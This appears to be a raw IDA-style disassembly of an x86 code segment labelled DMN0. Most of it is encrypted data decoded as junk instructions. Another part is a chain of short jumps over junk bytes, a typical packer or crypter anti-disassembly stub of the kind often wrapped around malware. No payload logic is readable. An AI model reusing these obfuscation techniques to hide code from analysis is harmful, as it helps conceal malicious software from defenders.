		in	eax, dx
; ---------------------------------------------------------------------------
		db 8Eh
		dd 0DD47A73Bh, 7B247DEFh, 0B603BC47h
		db 9Dh,	5, 8Ah
; ---------------------------------------------------------------------------


loc_429193:				; CODE XREF: DMN0:004291DFj
		js	short near ptr loc_4291BB+4
		mov	ebx, 94DBAB3Fh


loc_42919A:				; CODE XREF: DMN0:004291EDj
		dec	eax
		jl	short loc_429160
		push	863CD680h
		push	ecx
		fdiv	st, st(2)
		clc
		push	0E9454D42h


loc_4291AB:				; CODE XREF: DMN0:0042917Bj
		mov	edi, 0A119BC51h
		xchg	eax, edx
		popf
		inc	edi
		faddp	st(1), st
		test	eax, 1D1647FDh	; CODE XREF: DMN0:004291EFj
		clc


loc_4291BB:				; CODE XREF: DMN0:loc_429193j
		mov	ds:0A89DE23Eh, al
		jle	short loc_429220
		cmp	al, 0FDh
		fnsave	byte ptr [ebp-6D4714B6h]
		dec	ebx
		std


loc_4291CC:				; CODE XREF: DMN0:00429164j
		in	al, 0A5h	; Interrupt Controller #2, 8259A
		dec	esp
		lds	edx, [si-37h]
		enter	35E5h, 0E0h
		pop	ss


loc_4291D8:				; CODE XREF: DMN0:0042922Bj
		cmc
		inc	edi
		dec	eax
		inc	ebx
		add	[eax+edx*4], eax
		jo	short loc_429193
		int	0F5h
		sbb	esi, [eax+6E458613h]
		nop
		lodsb
		mov	ah, 0B1h
		jz	short loc_42919A
		jnb	short near ptr loc_4291B5+3
; ---------------------------------------------------------------------------
		db 8Fh,	7Fh, 4Ch
		dd 0DBF76CECh, 1275D99Ah, 29800E3h, 53B583DCh, 19F7EFFCh
		dd 0C2551496h, 0B677B5F5h, 3F35C119h, 0E102E436h, 0B07A1D32h
		dd 0B1F184ACh
; ---------------------------------------------------------------------------


loc_429220:				; CODE XREF: DMN0:004291C0j
		mov	[edi+67h], esp
		or	esi, [edx-42h]
		test	[ebp-62h], ah
		inc	eax
		insd
		jb	short loc_4291D8


loc_42922D:				; CODE XREF: DMN0:00429234j
		adc	al, 5
		sal	bh, 9Dh
		push	ds
		pop	edi
		js	short loc_42922D
		jg	short loc_4292A7
		out	dx, eax
		or	al, 48h
		adc	al, 12h
		xchg	ecx, [ebp-2FE0BB11h]
		jns	short near ptr loc_4292B9+1
		das
		pop	edi
		insd
		mov	ah, 4Eh
		cmp	ecx, [edx]


loc_42924C:				; CODE XREF: DMN0:004292ACj
		int	84h
		xor	eax, 0CD67F949h
		int	0A8h		; used by BASIC	while in interpreter
		sbb	bh, al
		test	eax, 6313A78Fh
		push	es
		adc	eax, [edx]
		mov	[ebx+1Bh], bh
		popf
		call	near ptr 0B1761582h
		add	al, 7Ch
		fadd	st, st(2)
		and	al, bl
		mov	ah, 80h
		pop	esi
		db	3Eh
		pop	edx
		db	2Eh
		wait
		bound	edx, [esp+64h]
		test	dword ptr [eax+38h], 57EA70C3h
		mov	ch, 0CEh	; CODE XREF: DMN0:004292C4j
		add	dl, [esi]
		call	near ptr 0E8E7A78Dh
		outsb
		mov	ebp, 67F1DE3Fh
		imul	edx
		xchg	eax, ecx
		mov	dl, 4Eh
		sal	dh, 1
		lodsb
		dec	eax
		cli
		rcr	byte ptr [ecx],	1
		dec	ebx
		retf	988Ah
; ---------------------------------------------------------------------------
		dd 5BA132ECh
		db 0D8h, 2Eh, 0EFh
; ---------------------------------------------------------------------------


loc_4292A7:				; CODE XREF: DMN0:00429236j
		push	ebx
		arpl	[eax+26h], cx
		lodsb
		jge	short loc_42924C
		xchg	eax, ebp
		call	near ptr 0B59811B6h
		mov	ebx, 0EC623A7Fh


loc_4292B9:				; CODE XREF: DMN0:00429243j
		fidiv	dword ptr [esi]
		mul	dword ptr [ecx+esi*8+1CC96308h]
		dec	edi
		push	ebx
		jnp	short near ptr loc_429281+1
		iret
; ---------------------------------------------------------------------------
		db 0ADh
		dd 3FC21154h, 56C48BD9h, 5CE3EC9h, 0F920D93Bh, 0D45659EBh
		dd 187D7EC9h, 680FAFBAh, 1DD253B3h, 5BDC4A4Ch, 0DF921820h
		dd 0AFB892D7h, 2A147B82h, 6F2C7AFAh, 0BD8B8676h, 15BB445Bh
		dd 16CB85A9h, 9762966h,	0D09C2BAEh, 44D01B62h, 0DF269903h
		dd 5FC06A75h, 16547D8Dh, 77AA0B27h, 0B456C2C7h,	0E3B35C31h
		dd 0F7E3A9F4h, 59CEEC2Ah, 250B5D4Fh, 75ED4972h,	0ABC9B5B9h
		dd 0E129EE31h, 6FBF684Ch, 90F82F80h, 2555AC0Ch,	37B7994Ch
		dd 27E199FCh, 3CE8287Bh, 1A554478h, 0AA6D2264h,	8AB0E35Bh
		dd 9E50449Bh, 3F325EA1h, 0CEB82478h, 2085F03h, 30B002AAh
		dd 1D4FD85h, 4419282Ch,	4742665Eh, 6C437CD0h, 57B432A1h
		dd 0ABCC0DB6h, 0C363B79Ah, 0FC7AB8B3h, 9597A948h, 43699989h
		dd 634E8382h, 4C978ACDh, 3A30358Bh, 6C3B6C36h, 7052219Ah
		dd 18A093C4h
		db 0CCh
; ---------------------------------------------------------------------------
		pop	ss
		dec	edx
		push	ebp
		mov	ebp, esp
		mov	eax, [esp+8]
		mov	ebp, eax
		pusha
		mov	eax, 0CD42DC15h
		push	eax
		jmp	short loc_4293EF
; ---------------------------------------------------------------------------
		db 0B2h, 0B4h, 3Bh
		dd 0CC2DD9ABh, 0D7AB6A6h, 0E9DA5A62h, 2286455Bh, 74654113h
		dd 502873BEh
		db 8, 0DDh, 62h
; ---------------------------------------------------------------------------


loc_4293EF:				; CODE XREF: DMN0:004293CFj
		xchg	ecx, esi
		xchg	edx, ecx
		jmp	short loc_4293FE
; ---------------------------------------------------------------------------
		db 35h,	6Bh, 0E3h
; ---------------------------------------------------------------------------
		fidivr	word ptr [esi+45D71E1Dh]


loc_4293FE:				; CODE XREF: DMN0:004293F3j
		cmc
		jmp	short loc_42941B
; ---------------------------------------------------------------------------
		db 5Ch,	86h, 18h
		dd 2C3904A7h, 0B450EDC1h, 2636C64Ch, 9EECDD9Dh,	16FFF072h
		db 5, 0EAh, 0C3h
; ---------------------------------------------------------------------------


loc_42941B:				; CODE XREF: DMN0:004293FFj
		cmc
		clc
		clc
		jmp	short loc_42942A
; ---------------------------------------------------------------------------
		dd 0CE81413Ah, 0DC3B9AA2h
		db  11h
		db    6
; ---------------------------------------------------------------------------


loc_42942A:				; CODE XREF: DMN0:0042941Ej
		jmp	short loc_429446
; ---------------------------------------------------------------------------
		dd 9F9C45A7h, 6A7DC06Fh, 6316194Ah, 4DB29AFBh, 14E9EAD4h
		dd 2294B43Bh
; ---------------------------------------------------------------------------
		pop	ebp
		push	edx


loc_429446:				; CODE XREF: DMN0:loc_42942Aj
		neg	ebx
		jmp	short loc_429457
; ---------------------------------------------------------------------------
		dw 1F41h
		dd 78617391h, 0E6D7F8D7h
		db 2Eh,	97h, 0D9h
; ---------------------------------------------------------------------------


loc_429457:				; CODE XREF: DMN0:00429448j
		jmp	short $+2
		test	eax, 42D53FC2h
		xor	edi, edi
		jmp	short loc_429467
; ---------------------------------------------------------------------------
		db 0E1h
		db 0D2h, 0ACh, 0FDh
; ---------------------------------------------------------------------------


loc_429467:				; CODE XREF: DMN0:00429461j
		jmp	short loc_42947E
; ---------------------------------------------------------------------------
		db 0EDh, 0BCh, 18h
		dd 0B0122D62h, 8FF3A9C4h, 6F071E9Dh, 93A03CA0h
		db 0EEh, 5Fh
; ---------------------------------------------------------------------------


loc_42947E:				; CODE XREF: DMN0:loc_429467j
		xchg	ecx, eax
		jmp	short loc_42949C
; ---------------------------------------------------------------------------
		dw 0BD6Ch
		dd 76ADDE08h, 58772D9Dh, 0A8D54242h, 11C7B38h, 0B6E4E093h
		dd 801151D5h
; ---------------------------------------------------------------------------


loc_42949C:				; CODE XREF: DMN0:00429480j
		jmp	short loc_4294AC
; ---------------------------------------------------------------------------
		dw 0EAF4h
; ---------------------------------------------------------------------------
		cld
		lea	eax, [edx]
		sbb	al, 3Eh
		mov	ecx, 0BFA3F8B9h
		jecxz	short loc_4294E4


loc_4294AC:				; CODE XREF: DMN0:loc_42949Cj
		jmp	short loc_4294C1
; ---------------------------------------------------------------------------
		dw 39E1h
		dd 7C14A758h, 829977Fh,	7BDE6A71h, 61CCF5F2h
		db 80h
; ---------------------------------------------------------------------------


loc_4294C1:				; CODE XREF: DMN0:loc_4294ACj
		bswap	eax
		neg	ecx
		add	edi, 31000h
		jmp	short loc_4294EA
; ---------------------------------------------------------------------------
		and	[esi-22CE10ADh], edi
		cmp	al, 5Eh
		retf	0FEEDh
; ---------------------------------------------------------------------------
		dd 0B84BF458h, 4162F616h, 6BC98B2Bh
; ---------------------------------------------------------------------------


loc_4294E4:				; CODE XREF: DMN0:004294AAj
		test	bl, al
		push	ebp
		mov	cl, 41h
		outsb


loc_4294EA:				; CODE XREF: DMN0:004294CBj
		xor	ebx, 73260473h
		jmp	short loc_42950B
; ---------------------------------------------------------------------------
		dw 0D962h
		dd 279AFD22h, 0FE1785BCh, 70DA97FEh, 0FE3BD215h, 8247B1AEh
		db 25h,	97h, 79h
; ---------------------------------------------------------------------------


loc_42950B:				; CODE XREF: DMN0:004294F0j
		jmp	short loc_42952A
; ---------------------------------------------------------------------------
		db 8Eh,	4Ch, 0C8h
		dd 56710C20h, 1A3C60F2h, 0ED1ABACEh, 0CF727316h, 2564B72Fh
		dd 192644Bh
		db 83h,	0B3h
; ---------------------------------------------------------------------------


loc_42952A:				; CODE XREF: DMN0:loc_42950Bj
		xchg	eax, ebp
		xchg	ebp, edi
		jmp	short loc_42954D
; ---------------------------------------------------------------------------
		dd 0E1E2B5F2h, 0F5103677h, 8CDC6D2Bh, 0B6E7726Ch, 59F0DE6Ch
		dd 8B3FD2Ah, 0F7B6AA6Ch
		db 0BEh
; ---------------------------------------------------------------------------


loc_42954D:				; CODE XREF: DMN0:0042952Ej
		jmp	short loc_429560
; ---------------------------------------------------------------------------
		align 10h
		dd 0B0D5F912h, 2F2A5062h, 0A3E10BBDh, 33EE1201h
; ---------------------------------------------------------------------------


loc_429560:				; CODE XREF: DMN0:loc_42954Dj
		sub	edx, edx
		jmp	short loc_429583
; ---------------------------------------------------------------------------
		dd 0E4510D0h, 5B4DF6F8h, 5423B200h, 0F85FD0C4h,	2E4E657Dh
		dd 0CCDA4326h, 0ABDD0F8Bh
		db 0BAh, 5Fh, 2Fh
; ---------------------------------------------------------------------------


loc_429583:				; CODE XREF: DMN0:00429562j
		xchg	edi, ebx
		jmp	short loc_429594
; ---------------------------------------------------------------------------
		db 30h
		dd 0C51DCCAAh, 3303F08Bh, 4FC16C28h
; ---------------------------------------------------------------------------


loc_429594:				; CODE XREF: DMN0:00429585j
		jmp	short loc_429599
; ---------------------------------------------------------------------------
		dw 689Dh
		db 0B1h
; ---------------------------------------------------------------------------


loc_429599:				; CODE XREF: DMN0:loc_429594j
		cmc
		jmp	short loc_4295B6
; ---------------------------------------------------------------------------
		dd 4013323Fh, 0B8F01E1Ch, 4BBC07B5h, 77ADAADh, 32F7F74Bh
		dd 73D3DE62h
		db 0F1h, 0D5h
; ---------------------------------------------------------------------------


loc_4295B6:				; CODE XREF: DMN0:0042959Aj
		jmp	short loc_4295BE
; ---------------------------------------------------------------------------
		dd 0B23DF2E7h
; ---------------------------------------------------------------------------
		or	ecx, edx


loc_4295BE:				; CODE XREF: DMN0:loc_4295B6j
		jmp	short loc_4295C8
; ---------------------------------------------------------------------------
		dd 0F2FB471Ch, 0F5AB8E1Fh
; ---------------------------------------------------------------------------


loc_4295C8:				; CODE XREF: DMN0:loc_4295BEj
		sal	edi, 0EAh
		add	edx, 5363h


loc_4295D1:				; CODE XREF: DMN0:00429E1Ej
		jmp	short loc_4295DC
; ---------------------------------------------------------------------------
		db 46h
		dd 62D9DBABh, 0F8AFC4ABh
; ---------------------------------------------------------------------------


loc_4295DC:				; CODE XREF: DMN0:loc_4295D1j
		jmp	short loc_4295F3
; ---------------------------------------------------------------------------
		dw 9276h
		dd 6926D5E4h, 213CCF9Dh, 5E1E4601h, 66C2C370h
		db 0F2h, 65h, 0F0h
; ---------------------------------------------------------------------------


loc_4295F3:				; CODE XREF: DMN0:loc_4295DCj
		neg	edi
		jmp	short loc_4295FF
; ---------------------------------------------------------------------------
		db 1
		dd 7213B2DDh
		db 27h,	7Bh, 0C0h
; ---------------------------------------------------------------------------


loc_4295FF:				; CODE XREF: DMN0:004295F5j
		jmp	short loc_429607
; ---------------------------------------------------------------------------
		cmp	ds:0E8CCE2F1h, dl


loc_429607:				; CODE XREF: DMN0:loc_4295FFj
		jmp	short loc_429623
; ---------------------------------------------------------------------------
		db 28h,	41h, 58h
		dd 6FBDC91Fh, 0EAD02616h, 29D5A7E4h, 540443B7h,	0F760A005h
		db 75h,	8Eh, 21h
; ---------------------------------------------------------------------------


loc_429623:				; CODE XREF: DMN0:loc_429607j
		xchg	esi, esp
		jmp	short loc_42963A
; ---------------------------------------------------------------------------
		db 89h
		dd 6BE2CD80h, 0A9394445h, 0A166857Eh, 76B8A0B4h
		db 7, 0CAh
; ---------------------------------------------------------------------------


loc_42963A:				; CODE XREF: DMN0:00429625j
		cmc
		jmp	short loc_429647
; ---------------------------------------------------------------------------
		db 0ECh, 35h, 39h
; ---------------------------------------------------------------------------
		pop	edi
		retn	6F6Ch
; ---------------------------------------------------------------------------
		mov	fs, word ptr [ecx+3Dh]


loc_429647:				; CODE XREF: DMN0:0042963Bj
		jmp	short loc_42964D
; ---------------------------------------------------------------------------
		db 64h,	34h, 6Dh
		db 75h
; ---------------------------------------------------------------------------


loc_42964D:				; CODE XREF: DMN0:loc_429647j
		jmp	short loc_429662
; ---------------------------------------------------------------------------
		db 0CDh
		dd 3B1C8528h, 2B27A0BBh, 0A26752F7h, 47A1CC61h
; ---------------------------------------------------------------------------
		cmp	[edx], bl


loc_429662:				; CODE XREF: DMN0:loc_42964Dj
		jmp	short loc_429665
; ---------------------------------------------------------------------------
		sahf


loc_429665:				; CODE XREF: DMN0:loc_429662j
		xchg	eax, eax
		jmp	short loc_429685
; ---------------------------------------------------------------------------
		db 0A0h, 43h, 0D2h
		dd 7AA3B698h, 39C76E3Ah, 0EF792336h, 6479B821h,	64D9E5DEh
		dd 0DBD3CA75h
		db 0EFh
; ---------------------------------------------------------------------------


loc_429685:				; CODE XREF: DMN0:00429667j
		xchg	esi, esp
		jmp	short loc_429693
; ---------------------------------------------------------------------------
		db 0F4h, 1Bh, 2Dh
		dd 0E96E962Fh
		db 22h,	0, 6Ah
; ---------------------------------------------------------------------------


loc_429693:				; CODE XREF: DMN0:00429687j
		jmp	short loc_4296B3
; ---------------------------------------------------------------------------
		db 96h,	90h, 0EBh
		dd 4DB416B5h, 0DE88B949h, 0AF00FEDCh, 0E181AE1h, 0EB00A080h
		dd 8D806Dh
		db 0B0h, 2Ah, 0EBh
; ---------------------------------------------------------------------------


loc_4296B3:				; CODE XREF: DMN0:loc_429693j
		mov	ebx, ebp
		jmp	short loc_4296D4
; ---------------------------------------------------------------------------
		db 6Ch
; ---------------------------------------------------------------------------
		xchg	eax, edi
		sbb	ah, ah
		and	esp, eax
		jno	short locret_429704
		fcmovu	st, st
		adc	eax, 47A3B5E9h
		mov	ch, 0DCh
		leave
		push	edx
		and	al, 0B1h
		retf	0B045h
; ---------------------------------------------------------------------------
		db 3
		dd 0B65C2A1Ch
; ---------------------------------------------------------------------------


loc_4296D4:				; CODE XREF: DMN0:004296B5j
		xchg	edx, edx
		cmc
		ror	ecx, 85h
		jmp	short loc_4296E1
; ---------------------------------------------------------------------------
		dd 56820A20h
; ---------------------------------------------------------------------------
		popf


loc_4296E1:				; CODE XREF: DMN0:004296DAj
		xchg	edx, edx
		jmp	short loc_4296EF
; ---------------------------------------------------------------------------
		db 0A9h, 0D2h, 0E1h
		dd 0EAFE28F0h
		db 41h,	97h, 85h
; ---------------------------------------------------------------------------


loc_4296EF:				; CODE XREF: DMN0:004296E3j
		jmp	short loc_4296F3
; ---------------------------------------------------------------------------
		db 6Eh,	79h
; ---------------------------------------------------------------------------


loc_4296F3:				; CODE XREF: DMN0:loc_4296EFj
		jmp	short loc_429707
; ---------------------------------------------------------------------------
		db 21h,	30h, 11h
		dd 66919A83h, 93E5546Ah, 0C7FB24F4h
; ---------------------------------------------------------------------------

locret_429704:				; CODE XREF: DMN0:004296BDj
		retf	0A41Ch
; ---------------------------------------------------------------------------


loc_429707:				; CODE XREF: DMN0:loc_4296F3j
		std
		jmp	short loc_42971E
; ---------------------------------------------------------------------------
		dw 0CF46h
		dd 6A5980E7h, 303BC2B8h, 40E757FBh, 10CFEA1Bh
; ---------------------------------------------------------------------------
		dec	ebp
		dec	ebx


loc_42971E:				; CODE XREF: DMN0:00429708j
		jmp	short loc_429734
; ---------------------------------------------------------------------------
		mov	ds:0B55F9620h, al
		mov	esi, 0E2C7AF18h
		retf	4529h
; ---------------------------------------------------------------------------
		db 31h,	53h, 39h
		dd 888044FCh
; ---------------------------------------------------------------------------


loc_429734:				; CODE XREF: DMN0:loc_42971Ej
		add	ebx, eax
		xchg	esp, ecx
		jmp	short loc_429743
; ---------------------------------------------------------------------------
		pop	esp
		jz	short near ptr byte_429795
		retn
; ---------------------------------------------------------------------------
		sub	eax, 9A7BD67Ch


loc_429743:				; CODE XREF: DMN0:00429738j
		jmp	short loc_429753
; ---------------------------------------------------------------------------
		db 5Dh,	50h, 0E5h
		dd 13FFDD81h, 65E996E4h
		db 0DCh, 90h, 0EDh
; ---------------------------------------------------------------------------


loc_429753:				; CODE XREF: DMN0:loc_429743j
		jmp	short loc_429764
; ---------------------------------------------------------------------------
		db 0FAh, 0C8h, 55h
		dd 0F4A4AF7Dh, 17C0BAE0h, 6BB6E631h
; ---------------------------------------------------------------------------


loc_429764:				; CODE XREF: DMN0:loc_429753j
		jmp	short loc_429777
; ---------------------------------------------------------------------------
		dw 0C5F8h
		dd 0C794850Dh, 9B71CDE0h, 0D8929103h
		db 76h,	0A3h, 0BAh
; ---------------------------------------------------------------------------


loc_429777:				; CODE XREF: DMN0:loc_429764j
		mov	esi, [ebx]
		jmp	short loc_429799
; ---------------------------------------------------------------------------
		db 0BCh
		dd 0F0E89834h, 0E9A5B0EDh, 2EA97C98h, 29FE06AEh, 0E0A8FE9Bh
		dd 0E3CE385Dh
		db 0A4h
byte_429795	db 35h,	91h, 33h	; CODE XREF: DMN0:0042973Bj
		db 0EDh
; ---------------------------------------------------------------------------


loc_429799:				; CODE XREF: DMN0:00429779j
		jmp	short loc_4297AE
; ---------------------------------------------------------------------------
		sub	dh, [ebp-795B5B2Ah]
		aas
		wait
		adc	dh, [eax+21h]
		adc	[ebx+19A4B36Bh], esp
		sbb	dh, bh


loc_4297AE:				; CODE XREF: DMN0:loc_429799j
		xchg	ebp, ecx
		jmp	short loc_4297B3
; ---------------------------------------------------------------------------
		push	ecx


loc_4297B3:				; CODE XREF: DMN0:004297B0j
		xchg	ebp, edx
		jmp	short loc_4297C4
; ---------------------------------------------------------------------------
		aaa
		mov	dh, dl
		xor	al, 0Dh
		inc	edx
		and	[ebx-1Ah], al
		dec	esi
		mov	dh, 0F6h
		sahf


loc_4297C4:				; CODE XREF: DMN0:004297B5j
		jmp	short loc_4297D0
; ---------------------------------------------------------------------------
		dw 8C66h
		db 0CCh
		db 0D7h, 0B2h, 0A0h
		dd 0BB70EF9Ch
; ---------------------------------------------------------------------------


loc_4297D0:				; CODE XREF: DMN0:loc_4297C4j
		jmp	short loc_4297F0
; ---------------------------------------------------------------------------
		dw 0DEC5h
		dd 2C8A7FF1h, 0ED3B938Ch, 0DAAF365Fh, 0FCF6C444h, 6388489Eh
		dd 0A722DC77h, 90443EEEh
; ---------------------------------------------------------------------------


loc_4297F0:				; CODE XREF: DMN0:loc_4297D0j
		xchg	esi, edi


loc_4297F2:				; CODE XREF: DMN0:0042985Cj
		xchg	edx, ecx
		jmp	short loc_429814
; ---------------------------------------------------------------------------
		dw 639Eh
		dd 0C4429C68h, 91DE9B6Eh, 0E5472B60h, 0C7774D54h, 51A0C666h
		dd 4DEB79C8h, 6FEFE27Eh
; ---------------------------------------------------------------------------


loc_429814:				; CODE XREF: DMN0:004297F4j
		jmp	short loc_42981C
; ---------------------------------------------------------------------------
		dw 3DBCh
		dd 0D0A25BB0h
; ---------------------------------------------------------------------------


loc_42981C:				; CODE XREF: DMN0:loc_429814j
		jmp	short loc_42981F
; ---------------------------------------------------------------------------
		db 75h
; ---------------------------------------------------------------------------


loc_42981F:				; CODE XREF: DMN0:loc_42981Cj
		jmp	short loc_42983D
; ---------------------------------------------------------------------------
		db 1Ah,	87h, 0F8h
		dd 0D534767Eh, 4FA02AF4h, 9D87EEAFh, 0D339D840h, 1B905719h
		dd 7D3DDF42h
; ---------------------------------------------------------------------------
		das


loc_42983D:				; CODE XREF: DMN0:loc_42981Fj
		xchg	ecx, ebp
		xor	edi, [ebp+0]
		jmp	short loc_42985E
; ---------------------------------------------------------------------------
		dd 0B465B10Fh, 0EA6DAA29h, 0AEC58A0Ch, 4AA98E38h, 88B73F57h
		dd 0D9E37BD5h
; ---------------------------------------------------------------------------
		jle	short loc_4297F2


loc_42985E:				; CODE XREF: DMN0:00429842j
		jmp	short loc_429874
; ---------------------------------------------------------------------------
		dd 573763B6h, 0CF0BD250h, 0F9CB1837h, 0E9C39628h, 933E6A6Bh
; ---------------------------------------------------------------------------


loc_429874:				; CODE XREF: DMN0:loc_42985Ej
		bswap	ebx
		jmp	short loc_429879
; ---------------------------------------------------------------------------
		db 65h
; ---------------------------------------------------------------------------


loc_429879:				; CODE XREF: DMN0:00429876j
		jmp	short $+2
		xchg	esp, edi
		jmp	short loc_429899
; ---------------------------------------------------------------------------
		xor	ds:0A51465F2h, ah
		xchg	eax, edx
		nop
		jg	short loc_4298C8
		wait
		popa
		push	ecx
		cmpsb
		sbb	eax, 987D091Ch
		int	3		; Trap to Debugger
		pop	ebp
		mov	ds:942E647Bh, al


loc_429899:				; CODE XREF: DMN0:0042987Dj
		cmc
		jmp	short loc_42989D
; ---------------------------------------------------------------------------
		db 78h
; ---------------------------------------------------------------------------


loc_42989D:				; CODE XREF: DMN0:0042989Aj
		xchg	esi, ecx
		jmp	short loc_4298BD
; ---------------------------------------------------------------------------
		db 0F3h, 48h, 7Dh
		dd 0EF253F0Eh, 0EB01D601h, 9D786E80h, 0E38D6410h, 0C530688Ch
		dd 0B5A850CDh
		db 14h
; ---------------------------------------------------------------------------


loc_4298BD:				; CODE XREF: DMN0:0042989Fj
		xchg	ebp, esi
		jmp	short loc_4298C4
; ---------------------------------------------------------------------------
		db 22h,	0EEh, 3Ah
; ---------------------------------------------------------------------------


loc_4298C4:				; CODE XREF: DMN0:004298BFj
		jmp	short loc_4298D9
; ---------------------------------------------------------------------------
		dec	edx
		push	esp


loc_4298C8:				; CODE XREF: DMN0:00429887j
		sub	al, 9
		jmp	near ptr 92C825F9h
; ---------------------------------------------------------------------------
		db 16h
		dd 65F7B6F4h, 4AEA8A6h
		db 0DDh
; ---------------------------------------------------------------------------


loc_4298D9:				; CODE XREF: DMN0:loc_4298C4j
		jmp	short loc_4298F9
; ---------------------------------------------------------------------------
		inc	esi
		cmp	eax, 5209D821h
		retn	5848h
; ---------------------------------------------------------------------------
		dd 84990962h, 0CABA92AFh, 0E78BF50h, 0AC8A529h,	6042936h
		db 9
; ---------------------------------------------------------------------------


loc_4298F9:				; CODE XREF: DMN0:loc_4298D9j
		xchg	esp, [esi]
		test	ecx, 0E9A69C5Ch
		stc
		cld
		std
		jmp	short loc_42991F
; ---------------------------------------------------------------------------
		dw 0A4C5h
		dd 0C86D6E8h, 158A98EAh, 4856BC43h, 0AD03C154h,	482C4318h
		db 0FFh, 64h, 5Fh
; ---------------------------------------------------------------------------


loc_42991F:				; CODE XREF: DMN0:00429904j
		sub	esp, 902A5E66h
		jmp	short loc_42993C
; ---------------------------------------------------------------------------
		db 44h
		dd 0C655C6D1h, 0F81DDE71h, 63AFAA20h, 5E5B7623h, 0EE24EAE1h
; ---------------------------------------------------------------------------


loc_42993C:				; CODE XREF: DMN0:00429925j
		jmp	short loc_429958
; ---------------------------------------------------------------------------
		dw 0EB10h
		dd 4A7D3E68h, 4AFEB940h, 0EBB8A02Eh, 0B6177131h, 854E6AC6h
		dd 0E3187ADh
; ---------------------------------------------------------------------------


loc_429958:				; CODE XREF: DMN0:loc_42993Cj
		jmp	short loc_429970
; ---------------------------------------------------------------------------
		dw 8348h
		db 0CCh
		db 12h,	52h, 0BBh
		dd 12A6B1Dh, 97A2181Fh,	704582BBh, 0E5429F9Bh
; ---------------------------------------------------------------------------


loc_429970:				; CODE XREF: DMN0:loc_429958j
		xchg	edx, eax
		xchg	edi, ebp
		jmp	short loc_429978
; ---------------------------------------------------------------------------
		dw 1B95h
; ---------------------------------------------------------------------------


loc_429978:				; CODE XREF: DMN0:00429974j
		sbb	ecx, 65FF6E4h
		jmp	short loc_429999
; ---------------------------------------------------------------------------
		dd 0AAA06AF3h, 0E974CD4Ah, 0BD6CA8A0h, 502D3994h, 0BCC2A985h
		dd 8E80A57Ah
		db 89h
; ---------------------------------------------------------------------------


loc_429999:				; CODE XREF: DMN0:0042997Ej
		ror	esp, 1
		cmc
		jmp	short loc_4299BD
; ---------------------------------------------------------------------------
		dw 0BB28h
		dd 0B955B97Fh, 44DB5458h, 0E01FE717h, 3414F577h, 50273011h
		dd 8915D7A2h, 0BCC6206Ah
		db 29h
; ---------------------------------------------------------------------------


loc_4299BD:				; CODE XREF: DMN0:0042999Cj
		xchg	esi, eax
		xchg	esp, esp
		jmp	short loc_4299E0
; ---------------------------------------------------------------------------
		mov	eax, ds:14E70F39h
		icebp
		rcr	esi, cl
		retf
; ---------------------------------------------------------------------------
		dd 643CF96h, 296A5E43h,	862FBFF6h, 4A9C0759h, 0C1F60A98h
; ---------------------------------------------------------------------------


loc_4299E0:				; CODE XREF: DMN0:004299C1j
		neg	ebp
		jmp	short loc_4299ED
; ---------------------------------------------------------------------------
		dd 8B999AACh, 809794B5h
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------


loc_4299ED:				; CODE XREF: DMN0:004299E2j
		jmp	short $+2
		jmp	short loc_4299F6
; ---------------------------------------------------------------------------
		cwde
		xchg	ah, [ebp-51h]
		icebp


loc_4299F6:				; CODE XREF: DMN0:004299EFj
		jmp	short loc_429A08
; ---------------------------------------------------------------------------
		dd 2230B5BEh, 92B64AC2h, 9DBE4765h, 0BA71146h
; ---------------------------------------------------------------------------


loc_429A08:				; CODE XREF: DMN0:loc_4299F6j
		jmp	short loc_429A1F
; ---------------------------------------------------------------------------
		dw 19D6h
		dd 8ED25271h, 5612A2A2h, 3489FD56h, 0A8D525A3h
		db 76h,	9Bh, 0DFh
; ---------------------------------------------------------------------------


loc_429A1F:				; CODE XREF: DMN0:loc_429A08j
		xchg	esp, [eax]
		jmp	short loc_429A3D
; ---------------------------------------------------------------------------
		db 0E6h
; ---------------------------------------------------------------------------
		retn	0F64Dh
; ---------------------------------------------------------------------------
		db 3Bh
		dd 478B9233h, 0B7F6725h, 0FE4C555Ch, 0A66D0B58h, 0F40D2ADFh
		db 69h
; ---------------------------------------------------------------------------


loc_429A3D:				; CODE XREF: DMN0:00429A21j
		jmp	short loc_429A41
; ---------------------------------------------------------------------------
		db 0F2h
		db 19h
; ---------------------------------------------------------------------------


loc_429A41:				; CODE XREF: DMN0:loc_429A3Dj
		cld
		std
		xchg	ebp, esi
		jmp	short loc_429A5F
; ---------------------------------------------------------------------------
		db 8Ah
		dd 6FE3F4Eh, 80B25974h,	3EECA81Fh, 0CFC11BE2h, 17064DB1h
; ---------------------------------------------------------------------------
		cdq
		retf
; ---------------------------------------------------------------------------
		db 25h
; ---------------------------------------------------------------------------


loc_429A5F:				; CODE XREF: DMN0:00429A45j
		cld
		jmp	short loc_429A80
; ---------------------------------------------------------------------------
		neg	byte ptr [eax]
		mov	bl, 8
		pop	esi
		xchg	bl, [ebx+23h]
		xchg	eax, ecx
		cmpsd
		push	esi
		and	[edi+5057899Fh], esi
		mov	dword ptr [ebx+0Eh], 0B154936Dh
		or	al, 93h
		cmp	al, 4
		std
		xchg	eax, ebp


loc_429A80:				; CODE XREF: DMN0:00429A60j
		sub	ebx, 0A5D8492Eh
		jmp	short loc_429AA6
; ---------------------------------------------------------------------------
		dd 0AD8A7811h, 0EBB02F66h, 0DA22885Ah, 0D69AF0F1h, 61FB703h
		dd 39A6D819h, 8A6D29ABh
		db 8Ch,	0Dh
; ---------------------------------------------------------------------------


loc_429AA6:				; CODE XREF: DMN0:00429A86j
		mov	ecx, edx
		xor	esi, 0A3817216h
		jmp	short loc_429ABE
; ---------------------------------------------------------------------------
		dd 198130FEh, 47E243F7h, 21C9EC63h
; ---------------------------------------------------------------------------
		cdq
		pop	eax


loc_429ABE:				; CODE XREF: DMN0:00429AAEj
		cmc
		xchg	ecx, eax
		jmp	short loc_429ACA
; ---------------------------------------------------------------------------
		db 5Dh
		dd 0B5449A94h
		db 63h,	0F6h
; ---------------------------------------------------------------------------


loc_429ACA:				; CODE XREF: DMN0:00429AC1j
		clc
		jmp	short loc_429AD1
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		sbb	ebx, [eax]
		setalc


loc_429AD1:				; CODE XREF: DMN0:00429ACBj
		jmp	short loc_429AD8
; ---------------------------------------------------------------------------
		aas
		db	26h
		sti
		and	al, 0B6h


loc_429AD8:				; CODE XREF: DMN0:loc_429AD1j
		xchg	ebp, esp
		jmp	short $+2
		add	eax, esp
		jmp	short loc_429AEA
; ---------------------------------------------------------------------------
		push	ebx
		fild	dword ptr [esi]
		or	cl, es:[ecx+2810C0Ch]


